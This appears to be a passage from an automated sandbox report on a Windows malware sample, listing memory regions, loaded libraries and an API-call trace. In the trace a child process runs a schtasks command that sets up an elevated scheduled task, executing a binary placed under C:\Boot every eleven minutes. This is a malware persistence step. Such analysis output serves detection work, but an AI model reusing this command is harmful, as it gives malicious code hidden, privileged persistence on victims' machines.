entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5582 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5583 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5701 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5702 start_va = 0x60000 end_va = 0x6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 5703 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 5704 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5705 start_va = 0x7fe91ee0000 end_va = 0x7fe91eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 5706 start_va = 0x7fe91ef0000 end_va = 0x7fe91f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ef0000" filename = "" Region: id = 5707 start_va = 0x7fe91f80000 end_va = 0x7fe91feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f80000" filename = "" Region: id = 5708 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5828 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5829 start_va = 0xab0000 end_va = 0xcbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 5830 start_va = 0xab0000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 5831 start_va = 0xc40000 end_va = 0xcbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 5832 start_va = 0xe70000 end_va = 0xf6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 5833 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5834 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5835 start_va = 0x2790000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 6225 start_va = 0x1a790000 end_va = 0x1ab0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a790000" filename = "" Region: id = 6226 start_va = 0xcc0000 end_va = 0xdc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 6227 start_va = 0x1060000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 6228 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 6550 start_va = 0x1160000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 6703 start_va = 0x1ac20000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 6704 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6714 start_va = 0x1ad20000 end_va = 0x1afeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6715 start_va = 0x7feee920000 end_va = 0x7feeff1cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Thread: id = 207 os_tid = 0x35c Thread: id = 255 os_tid = 0xc64 Thread: id = 271 os_tid = 0xdd4 Thread: id = 284 os_tid = 0xe1c Process: id = "54" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d2b0000" os_pid = "0x368" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"lsml\" /sc MINUTE /mo 11 /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4247 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4248 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4249 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4250 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 4251 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4252 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4253 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4254 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4255 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4256 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4257 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4258 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4259 start_va = 0xe0000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4260 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4261 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4262 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4263 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4264 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4265 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4266 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4267 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4268 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4269 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4270 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4271 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4272 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4273 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4274 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4275 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4276 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4277 start_va = 0x150000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4278 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 4279 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4280 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4281 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4282 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4283 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4284 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4285 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 4286 start_va = 0x770000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4287 start_va = 0x150000 end_va = 0x161fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4288 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4289 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4290 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4291 start_va = 0x1b70000 end_va = 0x1e3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4292 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4293 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4294 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4295 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4296 start_va = 0x1e40000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 4297 start_va = 0x1e40000 end_va = 0x1f1efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e40000" filename = "" Region: id = 4298 start_va = 0x1f50000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 4299 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4300 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 4301 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4302 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4303 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 4304 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4305 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 4306 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4307 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4309 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 190 os_tid = 0x3ec [0084.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdf820 | out: lpSystemTimeAsFileTime=0xdf820*(dwLowDateTime=0x5b4a7ee0, dwHighDateTime=0x1d9eb0c)) [0084.429] GetCurrentProcessId () returned 0x368 [0084.429] GetCurrentThreadId () returned 0x3ec [0084.429] GetTickCount () returned 0x176a828 [0084.429] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xdf828 | out: lpPerformanceCount=0xdf828*=2489091288266) returned 1 [0084.431] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0084.431] __set_app_type (_Type=0x1) [0084.431] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0084.432] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0084.433] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0084.433] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0084.433] _onexit (_Func=0xff932afc) returned 0xff932afc [0084.433] _onexit (_Func=0xff932b58) returned 0xff932b58 [0084.433] _onexit (_Func=0xff932b80) returned 0xff932b80 [0084.434] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0084.434] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0084.434] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0084.434] _onexit (_Func=0xff932c20) returned 0xff932c20 [0084.434] _onexit (_Func=0xff932c48) returned 0xff932c48 [0084.434] _onexit (_Func=0xff932c70) returned 0xff932c70 [0084.435] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0084.435] WinSqmIsOptedIn () returned 0x0 [0084.435] GetProcessHeap () returned 0x250000 [0084.435] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bab0 [0084.435] SetLastError (dwErrCode=0x0) [0084.436] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0084.436] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0084.436] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0084.436] VerifyVersionInfoW (in: lpVersionInformation=0xdefe0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdefe0) returned 1 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bad0 [0084.436] lstrlenW (lpString="") returned 0 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x2) returned 0x26baf0 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x2659f0 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bb10 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a20 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a50 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265a80 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ab0 [0084.436] GetProcessHeap () returned 0x250000 [0084.436] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bb30 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ae0 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b10 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b40 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265b70 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bb50 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265ba0 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265bd0 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c00 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c30 [0084.437] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0084.437] SetLastError (dwErrCode=0x0) [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c60 [0084.437] GetProcessHeap () returned 0x250000 [0084.437] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265c90 [0084.438] GetProcessHeap () returned 0x250000 [0084.438] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265cc0 [0084.438] GetProcessHeap () returned 0x250000 [0084.438] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265cf0 [0084.438] GetProcessHeap () returned 0x250000 [0084.438] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265d20 [0084.438] GetProcessHeap () returned 0x250000 [0084.438] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bb70 [0084.438] _memicmp (_Buf1=0x26bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.438] GetProcessHeap () returned 0x250000 [0084.438] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x208) returned 0x26bd10 [0084.438] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0084.438] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0084.440] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0084.440] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0084.442] GetProcessHeap () returned 0x250000 [0084.442] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x74e) returned 0x26c2e0 [0084.442] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0084.442] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x26c2e0 | out: lpData=0x26c2e0) returned 1 [0084.443] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0084.443] VerQueryValueW (in: pBlock=0x26c2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf0c8, puLen=0xdf130 | out: lplpBuffer=0xdf0c8*=0x26c67c, puLen=0xdf130) returned 1 [0084.446] _memicmp (_Buf1=0x26bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.446] _vsnwprintf (in: _Buffer=0x26bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf0a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0084.446] VerQueryValueW (in: pBlock=0x26c2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf138, puLen=0xdf128 | out: lplpBuffer=0xdf138*=0x26c4a8, puLen=0xdf128) returned 1 [0084.446] lstrlenW (lpString="schtasks.exe") returned 12 [0084.446] lstrlenW (lpString="schtasks.exe") returned 12 [0084.446] lstrlenW (lpString=".EXE") returned 4 [0084.446] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0084.449] lstrlenW (lpString="schtasks.exe") returned 12 [0084.449] lstrlenW (lpString=".EXE") returned 4 [0084.449] _memicmp (_Buf1=0x26bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.449] lstrlenW (lpString="schtasks") returned 8 [0084.449] GetProcessHeap () returned 0x250000 [0084.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265e10 [0084.449] GetProcessHeap () returned 0x250000 [0084.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cbf0 [0084.449] GetProcessHeap () returned 0x250000 [0084.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc20 [0084.449] GetProcessHeap () returned 0x250000 [0084.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc50 [0084.449] GetProcessHeap () returned 0x250000 [0084.449] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bb90 [0084.449] _memicmp (_Buf1=0x26bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.450] GetProcessHeap () returned 0x250000 [0084.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa0) returned 0x26c110 [0084.450] GetProcessHeap () returned 0x250000 [0084.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc80 [0084.450] GetProcessHeap () returned 0x250000 [0084.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccb0 [0084.450] GetProcessHeap () returned 0x250000 [0084.450] RtlAllocateHeap (HeapHandle=0x250000, 